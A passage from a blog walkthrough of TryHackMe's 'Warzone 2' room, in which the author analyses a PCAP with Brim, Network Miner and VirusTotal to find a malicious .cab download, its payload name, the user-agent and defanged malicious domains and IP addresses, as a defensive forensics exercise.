data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/bc86d2fc303f02625b5d2bd8cb952469_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Finding the URL of the malicious download&lt;/p&gt;&#xA;&lt;p&gt;Once again, before we submit the answer, we’ll need to hop into &lt;em&gt;CyberChef&lt;/em&gt; to defang the URL.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8008982e8e5f9520f5371d03d550732a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;496px&#34; data-flex-grow=&#34;206&#34; height=&#34;387&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/8008982e8e5f9520f5371d03d550732a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Defanging the URL of the malicious download&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;28b2b0f0c748cd505f214450bb9869e4_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2560px&#34; data-flex-grow=&#34;1066&#34; height=&#34;75&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/28b2b0f0c748cd505f214450bb9869e4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-name-of-the-payload-within-the-cabfile&#34;&gt;Question 5: What is the name of the payload within the cab file?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 5&lt;/strong&gt;, we’ll turn our attention to examining the malicious &lt;code&gt;.cab&lt;/code&gt; file we identified in the last question. For this job, we’re going to make a quick detour in our tooling and swap over to &lt;a class=&#34;link&#34; href=&#34;https://www.netresec.com/?page=NetworkMiner&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Network Miner&lt;/strong&gt;&lt;/a&gt;, also contained in the &lt;code&gt;Tools&lt;/code&gt; folder on the Desktop.&lt;/p&gt;&#xA;&lt;p&gt;Open up &lt;em&gt;Network Miner&lt;/em&gt; and load the &lt;code&gt;Zone2.pcap&lt;/code&gt;. This is where &lt;em&gt;Network Miner&lt;/em&gt; shines — it can easily parse, identify, and categorize various elements within the network traffic streams, including reassembling files. This will make determining the contents of the &lt;code&gt;.cab&lt;/code&gt; file much easier.&lt;/p&gt;&#xA;&lt;p&gt;Let’s put this into practice and select the &lt;em&gt;Files&lt;/em&gt; tab. The top entry filename might look familiar — this is the &lt;code&gt;.cab&lt;/code&gt; file we’re looking for.&lt;/p&gt;&#xA;&lt;p&gt;Now, a quick note on &lt;code&gt;.cab&lt;/code&gt; files: they’re short for &lt;em&gt;cabinet files&lt;/em&gt;, a native Windows archive format used to compress and bundle files, often for software installation. That makes them a perfect disguise for attackers trying to sneak payloads past defenses. If you stumble across one in a network capture, it may be worth a closer look.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7b63b1c1301ded12702367983ba93ab9_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/7b63b1c1301ded12702367983ba93ab9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Network Miner: Grabbing the file hash of the malicious file&lt;/p&gt;&#xA;&lt;p&gt;Rather than do any analysis directly on the file, we’ll pivot out to &lt;strong&gt;VirusTotal&lt;/strong&gt; to check if this sample has been submitted to the platform before. For this, we’ll need the hash of the &lt;code&gt;.cab&lt;/code&gt; file, which we can get by double-clicking the entry in &lt;em&gt;Network Miner&lt;/em&gt; and copying the &lt;code&gt;SHA256&lt;/code&gt; hash.&lt;/p&gt;&#xA;&lt;p&gt;Now that we have the file hash, use your web browser outside of the TryHackMe VM (since it doesn’t have direct internet access) and navigate to &lt;a class=&#34;link&#34; href=&#34;https://virustotal.com.&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://virustotal.com.&lt;/a&gt; Submit the copied file hash into the search box to see the results.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;17e098127465415d7ac67994c2a6b5e7_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;901px&#34; data-flex-grow=&#34;375&#34; height=&#34;213&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/17e098127465415d7ac67994c2a6b5e7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/3769a84dbe7ba74ad7b0b355a864483d3562888a67806082ff094a56ce73bf7e&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/3769a84dbe7ba74ad7b0b355a864483d3562888a67806082ff094a56ce73bf7e&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Immediately, we’ll see that nearly all vendors on the platform have marked this file as malicious. But what we’re interested in is the &lt;em&gt;file name&lt;/em&gt; field below the hash — this tells us the payload name within the &lt;code&gt;.cab&lt;/code&gt; file and is what we’ll need to answer &lt;strong&gt;Question 5&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1dc1f72dec0a757234b6cfc8d5c56e2d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2630px&#34; data-flex-grow=&#34;1095&#34; height=&#34;73&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/1dc1f72dec0a757234b6cfc8d5c56e2d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-user-agent-associated-with-this-networktraffic&#34;&gt;Question 6: What is the user-agent associated with this network traffic?&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Question 6&lt;/strong&gt; requires us to determine the &lt;em&gt;user-agent&lt;/em&gt; string associated with the network traffic. In legitimate use cases, these strings help identify the client browser or application connecting to a resource over HTTP. They can sometimes give us clues about the origin of a request, but unfortunately, they’re also easily spoofed, so we’ll treat them as hints, not hard evidence.&lt;/p&gt;&#xA;&lt;p&gt;We can perform this task in either &lt;em&gt;Network Miner&lt;/em&gt; or &lt;em&gt;Brim&lt;/em&gt;. For the purposes of this walkthrough, I’ll demonstrate using &lt;em&gt;Brim&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Since we already have the search open for the source IP of the malicious traffic, we’ve got a head start. Remember how I mentioned &lt;em&gt;user-agent&lt;/em&gt; strings apply to HTTP traffic? Focus on the row labeled &lt;code&gt;http&lt;/code&gt; — this is where we’ll find the &lt;code&gt;user_agent&lt;/code&gt; string.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;a9424b8ff1ff0dbdfde30cc369a1392a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/a9424b8ff1ff0dbdfde30cc369a1392a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This long string tells us a bit about the browser and operating system the victim used to retrieve the malicious &lt;code&gt;.cab&lt;/code&gt; file. While deeper analysis is out of scope for this challenge, it’s a fun side activity to plug the string into a &lt;em&gt;User Agent Lookup&lt;/em&gt; tool and see what you can learn. For example:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2cfd7ab48701797f9c6ea96f4a500d00_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;371px&#34; data-flex-grow=&#34;154&#34; height=&#34;517&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/2cfd7ab48701797f9c6ea96f4a500d00_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.whatismyip.net/tools/user-agent-lookup.php&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.whatismyip.net/tools/user-agent-lookup.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c31a9565a26180711fac68ce4a35ce96_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2742px&#34; data-flex-grow=&#34;1142&#34; height=&#34;70&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/c31a9565a26180711fac68ce4a35ce96_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-other-domains-do-you-see-in-the-network-traffic-that-are-labelled-as-malicious-by-virustotal-enter-the-domainsdefangedand-in-alphabetical-order-format-domain&#34;&gt;Question 7: What other domains do you see in the network traffic that are labelled as malicious by VirusTotal? Enter the domains &lt;strong&gt;defanged&lt;/strong&gt; and in alphabetical order. (&lt;strong&gt;format: domain[.]zzz,domain[.]zzz&lt;/strong&gt;)&#xA;&lt;/h3&gt;&lt;p&gt;Now that we’ve gotten some additional context about the request, it’s time to return to our hunt for suspicious domains. This process combines the data in &lt;strong&gt;Brim&lt;/strong&gt; with threat intelligence from &lt;strong&gt;VirusTotal&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;First, we’ll leverage &lt;em&gt;Brim’s&lt;/em&gt; &lt;em&gt;Unique DNS Queries&lt;/em&gt; page to determine all of the DNS requests in the traffic. You’ll find this query under the &lt;em&gt;Queries&lt;/em&gt; menu.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;27107f359d2999010dd871cbb04599f2_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/27107f359d2999010dd871cbb04599f2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Viewing Unique DNS Queries&lt;/p&gt;&#xA;&lt;p&gt;This will list out all of the DNS requests. Yikes — there are quite a few domains.&lt;/p&gt;&#xA;&lt;p&gt;So, let’s head back to our &lt;em&gt;VirusTotal&lt;/em&gt; search for the &lt;code&gt;.cab&lt;/code&gt; file hash. Press the &lt;em&gt;Relations&lt;/em&gt; tab and turn your attention to the &lt;em&gt;Contacted Domains&lt;/em&gt; section. Here, we’ll find several domains contacted by this binary, complete with their own detection ratings.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;cb989670e08ece43020ed52862d3e902_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/cb989670e08ece43020ed52862d3e902_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Contacted Domains under Relations tab&lt;/p&gt;&#xA;&lt;p&gt;Focusing on the ones flagged as malicious, we can correlate them with the results back in &lt;em&gt;Brim&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Notice a problem? We’ve got more than two entries matching — but the question only wants two.&lt;/p&gt;&#xA;&lt;p&gt;No problem! Let’s filter this down further by using the &lt;em&gt;Suricata Alerts by Source and Destination&lt;/em&gt; tab. We’ve already analyzed the two labeled &lt;em&gt;Potentially Bad Traffic&lt;/em&gt; and &lt;em&gt;A Network Trojan was detected&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;12ef4fb1cd60542712fa5806f0d39b67_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/12ef4fb1cd60542712fa5806f0d39b67_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Filtering by Misc activity alert&lt;/p&gt;&#xA;&lt;p&gt;Instead, we’ll check the one with the alert field labeled &lt;em&gt;Misc activity&lt;/em&gt; and perform a new search.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;314b2891ddc37a1ea2b62f81ef0b9db4_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/314b2891ddc37a1ea2b62f81ef0b9db4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Identifying the malicious domains&lt;/p&gt;&#xA;&lt;p&gt;This returns results for the IP associated with &lt;em&gt;Misc activity&lt;/em&gt;, where we can find two domains that were also present in the DNS queries and flagged as malicious on &lt;em&gt;VirusTotal&lt;/em&gt;. Correlating the results from these three views gives us high confidence in answering &lt;strong&gt;Question 7&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Now all we need to do is defang them in &lt;strong&gt;CyberChef&lt;/strong&gt; again and put them in alphabetical order.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b30c8eca29aff56e30a4d37e192fed87_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2109px&#34; data-flex-grow=&#34;879&#34; height=&#34;91&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/b30c8eca29aff56e30a4d37e192fed87_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-there-are-ip-addresses-flagged-asnot-suspicious-traffic-what-are-the-ip-addresses-enter-your-answer-in-numerical-order-anddefanged-format-ipaddripaddr&#34;&gt;Question 8: There are IP addresses flagged as &lt;strong&gt;Not Suspicious Traffic&lt;/strong&gt;. What are the IP addresses? Enter your answer in numerical order and &lt;strong&gt;defanged&lt;/strong&gt;. (&lt;strong&gt;format: IPADDR,IPADDR&lt;/strong&gt;)&#xA;&lt;/h3&gt;&lt;p&gt;Back to the &lt;em&gt;Suricata Alerts by Source and Destination&lt;/em&gt; tab. &lt;strong&gt;Question 8&lt;/strong&gt; asks us to analyze the alert tag &lt;em&gt;Not Suspicious Traffic&lt;/em&gt;. Fortunately, the information is readily available, and we can quickly identify the IP addresses associated with this tag.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8cb9a225628778126ec110ed1a43dc06_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/8cb9a225628778126ec110ed1a43dc06_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Identifying IP addresses with the “Not Suspicious Traffic” tag.&lt;/p&gt;&#xA;&lt;p&gt;As before, once we’ve located the IPs, we’ll head over to &lt;strong&gt;CyberChef&lt;/strong&gt;. Paste the IPs into the input window in numerical order, apply the &lt;em&gt;Defang IP Address&lt;/em&gt; operation, and you’ll have them formatted correctly for submission.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;637caed0ddee5c885d04220310e25c68_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2560px&#34; data-flex-grow=&#34;1066&#34; height=&#34;75&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/637caed0ddee5c885d04220310e25c68_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-for-the-first-ip-address-flagged-asnot-suspicious-traffic-according-to-virustotal-there-are-several-domains-associated-with-this-one-ip-address-that-was-flagged-as-malicious-what-were-the-domains-you-spotted-in-the-network-traffic-associated-with-this-ip-address-enter-your-answer-in-adefangedformat-enter-your-answer-in-alphabetical-order-in-a-defanged-format-format-domain&#34;&gt;Question 9: For the first IP address flagged as &lt;strong&gt;Not Suspicious Traffic&lt;/strong&gt;. According to VirusTotal, there are several domains associated with this one IP address that was flagged as malicious. What were the domains you spotted in the network traffic associated with this IP address? Enter your answer in a &lt;strong&gt;defanged&lt;/strong&gt; format. Enter your answer in alphabetical order, in a defanged format. (&lt;strong&gt;format: domain[.]zzz,domain[.]zzz,etc&lt;/strong&gt;)&#xA;&lt;/h3&gt;&lt;p&gt;Let’s dig into some analysis of the IP addresses marked as &lt;em&gt;Not Suspicious Traffic&lt;/em&gt; from the previous question and validate the results.&lt;/p&gt;&#xA;&lt;p&gt;We’ll start by searching for the first IP — the one beginning with &lt;code&gt;64&lt;/code&gt;. This will show us all associated log entries, but it’s a bit unwieldy to sort through. To make things easier, we can apply some filtering and focus on entries with a &lt;code&gt;server_name&lt;/code&gt; tag, which helps us narrow down any associated domain names.&lt;/p&gt;&#xA;&lt;p&gt;&lt;IP Address&gt;|server_name&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e4506638d4836d0a1da9c57c2f1ccffa_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/e4506638d4836d0a1da9c57c2f1ccffa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Surfacing domain names associated with an IP address&lt;/p&gt;&#xA;&lt;p&gt;This gives us three distinct domains associated with this IP address in the PCAP.&lt;/p&gt;&#xA;&lt;p&gt;Let’s jump back over to &lt;strong&gt;VirusTotal&lt;/strong&gt; and search the IP address, navigating to the &lt;em&gt;Relations&lt;/em&gt; tab. Take a look at the &lt;em&gt;Passive DNS Replication&lt;/em&gt; area — notice anything interesting?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6be28455036833c8fa6dc9f4e7bc0cdf_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;592px&#34; data-flex-grow=&#34;246&#34; height=&#34;324&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/6be28455036833c8fa6dc9f4e7bc0cdf_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Correlating domain names with threat intelligence&lt;/p&gt;&#xA;&lt;p&gt;All three domains we surfaced in &lt;em&gt;Brim&lt;/em&gt; also appear in the &lt;em&gt;VirusTotal&lt;/em&gt; entry, complete with indicators of malicious activity. It turns out this IP is more suspicious than we originally believed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c2054f622aa5e54b0ee3c20129bb18a4_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1828px&#34; data-flex-grow=&#34;761&#34; height=&#34;105&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/c2054f622aa5e54b0ee3c20129bb18a4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-10-now-for-the-second-ip-marked-asnot-suspicious-traffic-what-was-the-domain-you-spotted-in-the-network-traffic-associated-with-this-ip-address-enter-your-answer-in-adefangedformat-format-domain&#34;&gt;Question 10: Now for the second IP marked as &lt;strong&gt;Not Suspicious Traffic&lt;/strong&gt;. What was the domain you spotted in the network traffic associated with this IP address? Enter your answer in a &lt;strong&gt;defanged&lt;/strong&gt; format. (&lt;strong&gt;format: domain[.]zzz&lt;/strong&gt;)&#xA;&lt;/h3&gt;&lt;p&gt;We’ve made it to the last question! Our final objective is to analyze the second IP we found in &lt;strong&gt;Question 8&lt;/strong&gt; labeled &lt;em&gt;Not Suspicious Traffic&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d2d336a6c1f90af35756e7c8ac22364b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/d2d336a6c1f90af35756e7c8ac22364b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: The second IP address labeled “Not Suspicious Traffic”&lt;/p&gt;&#xA;&lt;p&gt;Then, we’ll perform the same steps we did for &lt;strong&gt;Question 9&lt;/strong&gt; — search the IP address and filter the entries for the &lt;code&gt;server_name&lt;/code&gt; tag. Once we have the results, there’s only a single domain listed. That’s the one we need to wrap up this investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;79182f85d3bb8f92358549565752e5be_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/79182f85d3bb8f92358549565752e5be_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Surfacing domain names associated with a second IP address&lt;/p&gt;&#xA;&lt;p&gt;Before you defang the answer, if you’re curious, you can check this result on &lt;strong&gt;VirusTotal&lt;/strong&gt; as well. At the time of this writing, this domain does indeed appear to be &lt;em&gt;not suspicious&lt;/em&gt;. That’s a good reminder to always cross-check your results to make a more informed determination about a threat.&lt;/p&gt;&#xA;&lt;p&gt;It also serves as a reminder that indicators of compromise, like domains, are easy for a threat actor to change. Timely threat intelligence can make all the difference!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b7d41a23efa12667a24359837dfaaf39_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2157px&#34; data-flex-grow=&#34;898&#34; height=&#34;89&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/b7d41a23efa12667a24359837dfaaf39_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;74af35e58f08ec849200a4a5d78e1ce8_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;460px&#34; data-flex-grow=&#34;191&#34; height=&#34;417&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/74af35e58f08ec849200a4a5d78e1ce8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;How fun was that! A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt; for the part two of this fun and realistic challenge.&lt;/p&gt;&#xA;&lt;p&gt;By once again analyzing the PCAP file containing suspicious network traffic using &lt;em&gt;Brim&lt;/em&gt; and &lt;em&gt;Network Miner&lt;/em&gt;, and enriching our findings with &lt;em&gt;VirusTotal&lt;/em&gt;, we successfully identified several malicious IP addresses and domains associated with a threat actor. Then we determined what files were downloaded from the malicious infrastructure and learned more about the threat. Putting all the evidence together, we can confirm the alert as a true positive and move on to the containment phase.&lt;/p&gt;&#xA;&lt;p&gt;I chose this weekly challenge to spend more hands-on time with &lt;em&gt;Brim/Zui&lt;/em&gt; and the awesome &lt;em&gt;Suricata&lt;/em&gt; rules built in. I also really appreciate the immense capabilities of &lt;em&gt;Network Miner&lt;/em&gt; — I’m always impressed by how easy it is to use, and how much depth it offers particularly for quick file analysis and reassembly. In the real world, I’ve used both tools numerous times to visualize data in a PCAP and uncover information that was time-consuming and difficult to find using other tools. It’s absolutely worth keeping in the kit.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!&lt;/p&gt;&#xA;&lt;p&gt;It’s a Warzone out there, stay curious and be safe!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/warzonetwo&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/room/warzonetwo&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Brim/ZUI:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://zui.brimdata.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://zui.brimdata.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Network Miner:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.netresec.com/?page=NetworkMiner&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.netresec.com/?page=NetworkMiner&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; 